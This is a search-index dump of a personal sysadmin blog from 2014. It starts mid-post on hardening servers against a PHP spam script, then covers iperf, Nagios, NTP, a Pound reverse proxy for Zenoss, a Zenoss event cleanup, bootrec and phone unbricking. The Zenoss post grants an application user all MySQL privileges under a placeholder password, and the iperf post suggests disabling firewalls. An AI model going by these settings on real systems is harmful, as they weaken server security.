gid mail or mailman) to send email to the Internet, but prevents any ordinary user making direct SMTP connections to the Internet. You may have to adjust this for Qmail or Exim. Check which userids are used. Note that the iptables settings will probably be lost next time you reboot. The iptables commands should be installed into a system init script.\nIf you\u0026rsquo;re using cPanel and APF, APF by default will wipe out iptables rules you enter manually leaving the server vulnerable. If you are using APF, you should make the above change via APF and that will take care of reissuing the commands upon reboot or reset.\nDo you really need PHP script support? CGI support? PHP mail functions? Turn off the ones you don\u0026rsquo;t need. Some people, for example, turn off CGIs, and PHP \u0026ldquo;fsocketopen\u0026rdquo; or \u0026ldquo;exec\u0026rdquo; functions in the PHP ini files (either for the whole site, or individual environments), and manage to inhibit many infections.\nSome of these scripts get installed into /tmp. If /tmp is a separate file system, you can stop it being used by malicious scripts by adjusting the /etc/fstab file to mount /tmp with the \u0026ldquo;noexec\u0026rdquo; and \u0026ldquo;nosuid\u0026rdquo; flags. This means that the O/S will not run programs that are in the /tmp directory nor treat them as setuid.\nTurn off customer FTP if you don\u0026rsquo;t need it. Note that some CMS packages install FTP with anonymous FTP turned on by default. This is ALWAYS a bad idea, so make sure \u0026ldquo;anonymous login\u0026rdquo; is turned off.\nIt is necessary to force password changes on those users whose web sites have been compromised. If you can\u0026rsquo;t tell exactly which users have been compromised, it\u0026rsquo;s strongly recommended you change all passwords.\n","permalink":"https://blog.wapnet.nl/2014/05/find-spam-script/","summary":"\u003ch2 id=\"this-is-an-ordinary-copypast-from--because-i-cant-find-a-source-link-and-this-is-a-nice-article\"\u003eTHIS IS AN ORDINARY COPY/PAST FROM \u003ca href=\"http://cbl.abuseat.org\"\u003ehttp://cbl.abuseat.org\u003c/a\u003e because I can\u0026rsquo;t find a source link and this is a nice article!\u003c/h2\u003e\n\u003cp\u003eWe have detected that this IP is NATting for, or is infected itself, with a Linux (or possibly some other Unix-like system such as FreeBSD) PHP spam mailing script. Occasionally Windows servers are infected as well.\u003c/p\u003e\n\u003cp\u003eWe do not know how the malware got installed onto the machine, but we know a lot of what it does. The main thing we\u0026rsquo;ve seen it doing is sending staggering large volumes of email spam. But it can do a lot more than that, and that is the real danger.\u003c/p\u003e","title":"Find spam script"},{"content":"If you have a new computer you always must install the same tools. There is an very nice installation tool that automate this process. All the crap with the installers is deselected by default.\nGo to: https://ninite.com/ Select the apps Click \u0026ldquo;Get installer\u0026rdquo; Run the installer The software will be download and installed ","permalink":"https://blog.wapnet.nl/2014/05/install-a-lot-of-software-with-a-few-clicks/","summary":"\u003cp\u003eIf you have a new computer you always must install the same tools. There is an very nice installation tool that automate this process. All the crap with the installers is deselected by default.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eGo to: \u003ca href=\"https://ninite.com/\"\u003ehttps://ninite.com/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSelect the apps\u003c/li\u003e\n\u003cli\u003eClick \u0026ldquo;Get installer\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eRun the installer\u003c/li\u003e\n\u003cli\u003eThe software will be download and installed\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2014/05/Ninite-Install-or-Update-Multiple-Apps-at-Once.png\"\u003e\u003cimg alt=\"Ninite - Install or Update Multiple Apps at Once\" loading=\"lazy\" src=\"/wp-content/uploads/2014/05/Ninite-Install-or-Update-Multiple-Apps-at-Once.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Install a lot of software with a few clicks"},{"content":"When you have network performance issue\u0026rsquo;s you often use speed test websites to check the network bandwidth. But mostly of the time you want to monitor the network bandwidth between two specific servers. There is a cross platform speed test utility you can use to monitor the bandwidth. The name of the tool is iperf\nHow it works:\nDownload the tool: http://iperf.fr/ Extract the tool in a folder and jump to the folder with the command line start the tool on the server with this command: iperf -s Start the tool on the remote client iperf -c IPSERVER -r The tool first try an upload from the client and then a download from the client If you have any connection problems with iperf try temporary turn of you firewall on both server and client. You can also play with different window sizes with the iperf -c IPSERVER -r -w 40000\nFor a lot of tips and tricks (even a graphical interface called jperf) check: http://openmaniak.com/iperf.php\nHappy troubleshooting :D\n","permalink":"https://blog.wapnet.nl/2014/05/build-your-own-speedtest-with-iperf/","summary":"\u003cp\u003eWhen you have network performance issue\u0026rsquo;s you often use speed test websites to check the network bandwidth. But mostly of the time you want to monitor the network bandwidth between two specific servers. There is a cross platform speed test utility you can use to monitor the bandwidth. The name of the tool is \u003cstrong\u003eiperf\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eHow it works:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDownload the tool: \u003ca href=\"http://iperf.fr/\"\u003ehttp://iperf.fr/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExtract the tool in a folder and jump to the folder with the command line\u003c/li\u003e\n\u003cli\u003estart the tool on the server with this command: \u003cstrong\u003eiperf -s\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2014/05/iperf-server.png\"\u003e\u003cimg alt=\"iperf server\" loading=\"lazy\" src=\"/wp-content/uploads/2014/05/iperf-server.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Build your own speedtest with iperf"},{"content":"I had 2x HP DL 380 G6 servers with Windows 2012 R2 whit the same problem. When I start a download (I try a lot of different sites) the download drops and fluctuate. When I connect my laptop or another server on the same cable the download is stable. So my conclusion was the onboard nic.\nWhat I tried:\nUpdate latest HP SSP (2014_2) Update firmware NIC Update driver NIC Update Windows (patches) change all the default nic settings like disable tcp offload for example Try another switch Bandwidth during download:\nI thought the problem must be the NIC so I added an intel pro to my server with the same result :(\nThen I found the command netsh interface tcp show global\nOutput:\nC:\\Windows\\system32\u0026gt;netsh interface tcp show global Querying active state... TCP Global Parameters ---------------------------------------------- Receive-Side Scaling State : enabled Chimney Offload State : disabled NetDMA State : disabled Direct Cache Access (DCA) : disabled Receive Window Auto-Tuning Level : enabled Add-On Congestion Control Provider : none ECN Capability : enabled RFC 1323 Timestamps : disabled Initial RTO : 3000 Receive Segment Coalescing State : enabled Non Sack Rtt Resiliency : disabled Max SYN Retransmissions : 2 I dived in to these settings and I found the \u0026ldquo;Receive Window Auto-Tuning Level on enabled\u0026rdquo;. So I disabled the setting with:\nnetsh int tcp set global autotuninglevel=disabled\nAfter that setting the network connection to the internet was stable :)\nI found an article on the net that Cisco PIX IOS 8.0 doesn\u0026rsquo;t support \u0026ldquo;TCP Window Scaling\u0026rdquo;. Source: http://www.cisco.com/c/en/us/support/docs/security/ios-firewall/71613-iosfw-tcp-scaling-ts.html\nSo I use the workaround to disable the Automatic Windows Scaling in Windows because I can\u0026rsquo;t update our old PIX.\nProblem solved :D\n","permalink":"https://blog.wapnet.nl/2014/04/windows-2012-r2-unstable-internet-connection/","summary":"\u003cp\u003eI had 2x HP DL 380 G6 servers with Windows 2012 R2 whit the same problem. When I start a download (I try a lot of different sites) the download drops and fluctuate. When I connect my laptop or another server on the same cable the download is stable. So my conclusion was the onboard nic.\u003c/p\u003e\n\u003cp\u003eWhat I tried:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate latest HP SSP (2014_2)\u003c/li\u003e\n\u003cli\u003eUpdate firmware NIC\u003c/li\u003e\n\u003cli\u003eUpdate driver NIC\u003c/li\u003e\n\u003cli\u003eUpdate Windows (patches)\u003c/li\u003e\n\u003cli\u003echange all the default nic settings like disable tcp offload for example\u003c/li\u003e\n\u003cli\u003eTry another switch\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eBandwidth during download:\u003c/p\u003e","title":"Windows 2012 R2 unstable internet connection"},{"content":"Run each of the following scripts from:\n/usr/local/nagiosxi/scripts\ncd /usr/local/nagiosxi/scripts/\n./nagiosql_delete_service.php –-config=LOC_MASShost_1\nAfter the services have successfully been deleted, the host can be removed as well:\n./nagiosql_delete_host.php –-host=LOC_MASShost_1\nOnce the host is removed, the new configuration can be applied and verified by running the reconfigure_nagios.sh\n./reconfigure_nagios.sh\n","permalink":"https://blog.wapnet.nl/2014/04/nagios-xi-remove-host-and-services/","summary":"\u003cp\u003eRun each of the following scripts from:\u003c/p\u003e\n\u003cp\u003e/usr/local/nagiosxi/scripts\u003c/p\u003e\n\u003cp\u003ecd /usr/local/nagiosxi/scripts/\u003c/p\u003e\n\u003cp\u003e./nagiosql_delete_service.php –-config=LOC_MASShost_1\u003c/p\u003e\n\u003cp\u003eAfter the services have successfully been deleted, the host can be removed as well:\u003c/p\u003e\n\u003cp\u003e./nagiosql_delete_host.php –-host=LOC_MASShost_1\u003c/p\u003e\n\u003cp\u003eOnce the host is removed, the new configuration can be applied and verified by running the reconfigure_nagios.sh\u003c/p\u003e\n\u003cp\u003e./reconfigure_nagios.sh\u003c/p\u003e","title":"Nagios xi remove host and services"},{"content":"I always have some time issues in Linux. Here the howto:\nCheck the time\n# date Fri Mar 18 21:50:43 CET 2011 Install and configure NTP\n# yum install ntp # service ntpd stop # ntpdate pool.ntp.org # /etc/init.d/ntpd start # chkconfig ntpd on Configure the localtime\n# cd /etc/ # ls -la |grep localtime # /etc/localtime -\u0026gt; /usr/share/zoneinfo/Europe/Amsterdam # ln -sf /usr/share/zoneinfo/Europe/Amsterdam /etc/localtime Configure the shell time\nexport TZ=CET ","permalink":"https://blog.wapnet.nl/2014/04/centos-configure-time-to-europeamsterdam/","summary":"\u003cp\u003eI always have some time issues in Linux. Here the howto:\u003c/p\u003e\n\u003cp\u003eCheck the time\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# date\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFri Mar 18 21:50:43 CET 2011\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInstall and configure NTP\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# yum install ntp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# service ntpd stop\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# ntpdate pool.ntp.org\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /etc/init.d/ntpd start\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# chkconfig ntpd on\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eConfigure the localtime\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# cd /etc/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# ls -la |grep localtime\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /etc/localtime -\u0026gt; /usr/share/zoneinfo/Europe/Amsterdam\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# ln -sf /usr/share/zoneinfo/Europe/Amsterdam /etc/localtime\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eConfigure the shell time\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e TZ\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eCET\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Centos Configure time to Europe/Amsterdam"},{"content":"I installed a fresh copy of Nagios XI but the web transaction didn\u0026rsquo;t work very well. I made some changes to fix the problems\nThe first status information error I had was: (null)\nTo fix this I installed perl-suidperl\nyum install perl-suidperl After that I get I new error: Return code of 255 is out of bounds\nTo fix this I changed the permissions of the webinject folder and its files:\nchown nagios:nagios /usr/local/nagiosxi/etc/components/webinject/ chown nagios:nagios /usr/local/nagiosxi/etc/components/webinject/* Did was the trick.\n","permalink":"https://blog.wapnet.nl/2014/04/nagios-webinject-errors/","summary":"\u003cp\u003eI installed a fresh copy of Nagios XI but the web transaction didn\u0026rsquo;t work very well. I made some changes to fix the problems\u003c/p\u003e\n\u003cp\u003eThe first status information error I had was: (null)\u003c/p\u003e\n\u003cp\u003eTo fix this I installed perl-suidperl\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyum install perl-suidperl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter that I get I new error: Return code of 255 is out of bounds\u003cimg alt=\"nagios return code of 255 is out of bounds\" loading=\"lazy\" src=\"/wp-content/uploads/2014/04/nagios-return-code-of-255-is-out-of-bounds.png\"\u003e\u003c/p\u003e\n\u003cp\u003eTo fix this I changed the permissions of the  webinject folder and its files:\u003c/p\u003e","title":"Nagios Webinject errors"},{"content":" start top lsof -p strace -p ltrace -p Happy debugging :D\n","permalink":"https://blog.wapnet.nl/2014/04/linux-find-out-what-a-process-is-doing/","summary":"\u003col\u003e\n\u003cli\u003estart top\u003c/li\u003e\n\u003cli\u003elsof -p \u003cpid\u003e\u003c/li\u003e\n\u003cli\u003estrace -p \u003cpid\u003e\u003c/li\u003e\n\u003cli\u003eltrace -p \u003cpid\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eHappy debugging :D\u003c/p\u003e","title":"Linux find out what a process is doing"},{"content":"Zenoss don\u0026rsquo;t support SSL certificates out-of-the-box. If you want to use an SSL connection to your zenoss monitor server the only thing you can do is use an reverse proxy. You can use this howto to install and configure a pound reverse proxy.\nInstall pound with the EPEL\nInstall the EPEL (more info about EPEL) repository with these commands:\nsu -c \u0026#39;rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm\u0026#39; yum update Install pound\nyum install pound Install pound without the EPEL\nwget http://dl.fedoraproject.org/pub/epel/6/x86_64/Pound-2.6-2.el6.x86_64.rpm rpm -ivh Pound-2.6-2.el6.x86_64.rpm Configure Pound\nI had a lot of trouble because I used a real SSL certificate immediately. The cause was I dropped the SSL cert in the wrong linux folder. Best practice is first create a selfsigned SSL, test pound and then replace the selfsigned with a real SSL certificate.\ncd /etc/ssl \u0026amp;\u0026amp; openssl req -x509 -newkey rsa:1024 -keyout local.server.pem -out local.server.pem -days 365 -nodes Configure Pound\nnano /etc/pound.cfg Config file:\nUser \u0026#34;pound\u0026#34; Group \u0026#34;pound\u0026#34; Control \u0026#34;/var/lib/pound/pound.cfg\u0026#34; ListenHTTPS Address 192.168.0.x Port 443 Cert \u0026#34;/etc/ssl/local.server.pem\u0026#34; End Service BackEnd Address 127.0.0.1 Port 8080 End End Now start the pound service\nservice pound start Change the Zenoss config the handle the HTTPS traffic\nnano /opt/zenoss/etc/zope.conf Ad these 3 lines:\n\u0026lt;cgi-environment\u0026gt; HTTPS ON \u0026lt;/cgi-environment\u0026gt; Restart zope\nsu - zenoss restart zopectl Replace the selfsigned SSL with a wildcard SSL (optional)\nCreate a PFX in windows. Tranfer the PFX to the Zenoss server and tranform the PFX to PEM (Linux certificate format). The command:\nopenssl pkcs12 -in validcertificate.pfx -out wilcard.domain.nl.pem -nodes Now change the pound cert:\nnano /etc/pound.cfg ListenHTTPS Address 192.168.0.x Port 443 Cert \u0026#34;/etc/ssl/wilcard.domain.nl.pem\u0026#34; End Restart the service\nservice pound restart Source: Enabling SSL in Zenoss 4.2 - Open Source Network Monitoring and Systems Management\n","permalink":"https://blog.wapnet.nl/2014/02/zenoss-reverse-proxy-with-pound-centos/","summary":"\u003cp\u003eZenoss don\u0026rsquo;t support SSL certificates out-of-the-box. If you want to use an SSL connection to your zenoss monitor server the only thing you can do is use an reverse proxy. You can use this howto to install and configure a pound reverse proxy.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInstall pound with the EPEL\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eInstall the EPEL (more info about \u003ca href=\"https://fedoraproject.org/wiki/EPEL\"\u003eEPEL\u003c/a\u003e) repository with these commands:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esu \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ec \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyum update\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInstall pound\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyum install pound\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eInstall pound without the EPEL\u003c/strong\u003e\u003c/p\u003e","title":"Zenoss reverse proxy with Pound (CentOS)"},{"content":"Sometimes you may need to change the URL of your WordPress site.\nFor example, it is a common practice to develop the new version of your site in a subfolder and when it is ready to move it into your root directory.\nWordPress, however, relies on its URL settings to work correctly.\nThis means that if you simply move your files and database it will not work properly.\nThe URL settings are located in the application database. Fortunately, direct database modification can be avoided by using a nice function provided by the WordPress developers named \u0026ldquo;update_option\u0026rdquo;.\nSimply add these lines to the functions.php file of your theme:\nupdate_option(\u0026#39;siteurl\u0026#39;,\u0026#39;http://www.new-site-address.com\u0026#39;); update_option(\u0026#39;home\u0026#39;,\u0026#39;http://www.new-site-address.com\u0026#39;); Then simply load your site from its new location - it should work just fine.\nNote that after you run your site once and you make sure it works you should delete those lines from your functions.php file. The settings are already stored in your database and should not be modified each time your site is loaded.\nSource (sorry ordinary copy/past): http://www.siteground.com/tutorials/wordpress/change-url.htm\n","permalink":"https://blog.wapnet.nl/2014/02/how-to-change-a-wordpress-site-url/","summary":"\u003cp\u003eSometimes you may need to change the URL of your WordPress site.\u003c/p\u003e\n\u003cp\u003eFor example, it is a common practice to develop the new version of your site in a subfolder and when it is ready to move it into your root directory.\u003c/p\u003e\n\u003cp\u003eWordPress, however, relies on its URL settings to work correctly.\u003c/p\u003e\n\u003cp\u003eThis means that if you simply move your files and database it will not work properly.\u003c/p\u003e\n\u003cp\u003eThe URL settings are located in the application database. Fortunately, direct database modification can be avoided by using a nice function provided by the WordPress developers named \u0026ldquo;update_option\u0026rdquo;.\u003c/p\u003e","title":"How to change a Wordpress site URL"},{"content":"When you have too many events in your zenoss environment the zenoss webinterface will be very sloooooooow. And you get all kind of errors:\nScript don\u0026rsquo;t respond Connection refused. Check zeneventserver status on deamons A zenoss error has occurred When you start top you see alot of java executables when you click on the Infrastructure zenoss button. Java sometimes take 350% CPU.\njava -Djetty.host=localhost -server -XX:+HeapDumpOnOutOfMemoryError -DZENOSS_COMMAND=zeneventserver -DZENHOME=/opt/zenoss -Djetty.home=/opt/zenoss -Djetty.logs=/opt/zenoss/log -Dlogback.configurationFile=/opt/zenoss/etc/zeneventserver/logback.xml -Xmx1024m -DZENOSS_DAEMON=y -jar /opt/zenoss/lib/jetty-start-7.5.3.v20111011.jar --config=/opt/zenoss/etc/zeneventserver/jetty/start.config --ini=/opt/zenoss/etc/zeneventserver/jetty/jetty.ini --pre=etc/zeneventserver/jetty/jetty-logging.xml\nI\u0026rsquo;ve read a lot of zenoss documentation on the internet but didn\u0026rsquo;t found a nice article to get rid of all the events. So here is an article how I fixed it.\nBasic steps:\nBackup Zenoss Stop zenoss Create a new zeneventserver database Remove zeneventserver content Restore the zenoss backup Start zenoss Enjoy your fast zenoss :) Detailed steps:\nssh zenoss host Switch zenoss user # su zenoss\nCreate backup: $ /opt/zenoss/bin/zenbackup -v10\nStop Zenoss service $ zenoss stop\nedit the zeneventserver script nano /opt/zenoss/bin/zeneventserver-create-db\nSearch for root and add the root password Run the script $ zeneventserver-create-db --force --dbtype=mysql\nClear the zeneventserver folder rm -rf $ZENHOME/var/zeneventserver/*\nNow some tricky part. Zenoss change some MySQL passwords when you do a restore. This result in a access denied for user zenoss@localhost during a restore. There is a fix for this problem. Reset the zenoss@\u0026rsquo;localhost\u0026rsquo; and zenoss@\u0026rsquo;%\u0026rsquo; MySQL passwords before you do a restore.\nFirst get the current mysql from the global.conf file (yellow). This password is the password you need for the restore.\n$nano /opt/zenoss/etc/global.conf Tip: Too check the password (encrypted). You can do the same after you change the password:\n$ mysql -uroot -p mysql\u0026gt; select * from mysql.user; Now reset the password\nSET PASSWORD FOR 'zenoss'@'localhost' = PASSWORD('BEagPxxxxxxxxxxxxxxx'); SET PASSWORD FOR 'zenoss'@'%' = PASSWORD('BEagPxxxxxxxxxxxxxxx');\nWhen you check the permissions now you see another encryption:\n$ mysql -uroot -p mysql\u0026gt; select * from mysql.user;\n(I don\u0026rsquo;t have an image example because this is an production enviroment)\nOptional: To check the zenoss user permissions:\nmysql\u0026gt; SELECT user, host, db, select_priv, insert_priv, grant_priv FROM mysql.db; Optional: When you still have errors or the above rights ain\u0026rsquo;t good try these two MySQL scripts: mysql\u0026gt; CREATE USER 'zenoss'@'%' IDENTIFIED BY 'some_pass'; mysql\u0026gt; GRANT ALL PRIVILEGES ON *.* TO 'zenoss'@'localhost' -\u0026gt; WITH GRANT OPTION; mysql\u0026gt; CREATE USER 'zenoss'@'%' IDENTIFIED BY 'some_pass'; mysql\u0026gt; GRANT ALL PRIVILEGES ON *.* TO 'zenoss'@'localhost' -\u0026gt; WITH GRANT OPTION; Ok, now everting is set do a restore. The -v stands for verbose and with the no-eventsdb you don\u0026rsquo;t restore all the events. That\u0026rsquo;s exactly what we want\nzenrestore --file=/opt/zenoss/backups/zenbackup_2014013 -v --no-eventsdb\nNow start zenoss\n$zenoss start\nThat\u0026rsquo;s it. Enjoy the performance and set some parameters that your events ain\u0026rsquo;t that big any more in the future.\nSource: http://www.nickyeates.com/technology/zenoss/useful_commands_zenoss4 Source: http://community.zenoss.org/docs/DOC-3048\n","permalink":"https://blog.wapnet.nl/2014/02/zenoss-performance-issues-with-too-many-events/","summary":"\u003cp\u003eWhen you have too many events in your zenoss environment the zenoss webinterface will be very sloooooooow. And you get all kind of errors:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eScript don\u0026rsquo;t respond\u003c/li\u003e\n\u003cli\u003eConnection refused. Check zeneventserver status on deamons\u003c/li\u003e\n\u003cli\u003eA zenoss error has occurred\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWhen you start top you see alot of java executables when you click on the Infrastructure zenoss button. Java sometimes take 350% CPU.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ejava -Djetty.host=localhost -server -XX:+HeapDumpOnOutOfMemoryError -DZENOSS_COMMAND=zeneventserver -DZENHOME=/opt/zenoss -Djetty.home=/opt/zenoss -Djetty.logs=/opt/zenoss/log -Dlogback.configurationFile=/opt/zenoss/etc/zeneventserver/logback.xml -Xmx1024m -DZENOSS_DAEMON=y -jar /opt/zenoss/lib/jetty-start-7.5.3.v20111011.jar --config=/opt/zenoss/etc/zeneventserver/jetty/start.config --ini=/opt/zenoss/etc/zeneventserver/jetty/jetty.ini --pre=etc/zeneventserver/jetty/jetty-logging.xml\u003c/code\u003e\u003c/p\u003e","title":"Zenoss: Performance issues with too many events"},{"content":"When you run Acronis version 10 on a Windows 2008 R2 you get the error \u0026ldquo;0xc0000225 - Boot selection failed because a required device is inaccessible.\nTo fix this problem:\nBoot Windows 2008 R2 CD Select repair Run command line Now run these commands Bootrec /fixmbr Bootrec /fixboot Bootrec /rebuildbcd\nReboot the server and your windows is running again.\nSource: http://www.qliktips.com/2012/11/fix-windows-8-boot-issue.html\n","permalink":"https://blog.wapnet.nl/2014/01/0xc0000225-boot-selection-failed/","summary":"\u003cp\u003eWhen you run Acronis version 10 on a Windows 2008 R2 you get the error \u0026ldquo;0xc0000225 - Boot selection failed because a required device is inaccessible.\u003c/p\u003e\n\u003cp\u003eTo fix this problem:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eBoot Windows 2008 R2 CD\u003c/li\u003e\n\u003cli\u003eSelect repair\u003c/li\u003e\n\u003cli\u003eRun command line\u003c/li\u003e\n\u003cli\u003eNow run these commands\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eBootrec /fixmbr\u003c/strong\u003e \u003cstrong\u003eBootrec /fixboot\u003c/strong\u003e \u003cstrong\u003eBootrec /rebuildbcd\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eReboot the server and your windows is running again.\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"http://www.qliktips.com/2012/11/fix-windows-8-boot-issue.html\"\u003ehttp://www.qliktips.com/2012/11/fix-windows-8-boot-issue.html\u003c/a\u003e\u003c/p\u003e","title":"0xc0000225 - Boot selection failed because a required device is inaccessible"},{"content":"Steps to take if you have an bootloop after a wrong ROM update\nRequirements:\nFirst off all your device must be unlocked HTC Sync manager (install it)@ http://www.htc.com/www/software/htc-sync-manager/ MiniSDK (extract to C:\\mini-sdk) Download recovery image and place the file in C:\\mini-sdk\\ @ http://clockworkmod.com/rommanager New ROM and place the zip in C:\\mini-sdk Shutdown your phone to hold it in direct light and hold down the power button When the power is off hold down volume and press the power button Select fastboot Connect the device with your pc start cmd.exe cd c:\\mini-sdk fastboot flash recovery recovery-clockwork-6.0.3.1-m7.img select recovery on your phone and recovery-clockwork will start in clockwork recovery \u0026ldquo;activate ADB siteload\u0026rdquo; Now give this command from your pc adb sideload Android_Revolution_HD-One_31.6.zip\nFollow the wizard on screen ","permalink":"https://blog.wapnet.nl/2014/01/htc-one-un-brick-steps/","summary":"\u003cp\u003eSteps to take if you have an bootloop after a wrong ROM update\u003c/p\u003e\n\u003cp\u003eRequirements:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eFirst off all your device must be unlocked\u003c/li\u003e\n\u003cli\u003eHTC Sync manager (install it)@ \u003ca href=\"http://www.htc.com/www/software/htc-sync-manager/\"\u003ehttp://www.htc.com/www/software/htc-sync-manager/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://goo.gl/T6InE\"\u003eMiniSDK\u003c/a\u003e (extract to C:\\mini-sdk)\u003c/li\u003e\n\u003cli\u003eDownload recovery image and place the file in C:\\mini-sdk\\ @ \u003ca href=\"http://clockworkmod.com/rommanager\"\u003ehttp://clockworkmod.com/rommanager\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://android-revolution-hd.blogspot.nl/p/android-revolution-hd-mirror-site-var.html\"\u003eNew ROM\u003c/a\u003e and place the zip in C:\\mini-sdk\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003eShutdown your phone to hold it in direct light and hold down the power button\u003c/li\u003e\n\u003cli\u003eWhen the power is off hold down volume and press the power button\u003c/li\u003e\n\u003cli\u003eSelect fastboot\u003c/li\u003e\n\u003cli\u003eConnect the device with your pc\u003c/li\u003e\n\u003cli\u003estart cmd.exe\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003ecd c:\\mini-sdk fastboot flash recovery recovery-clockwork-6.0.3.1-m7.img 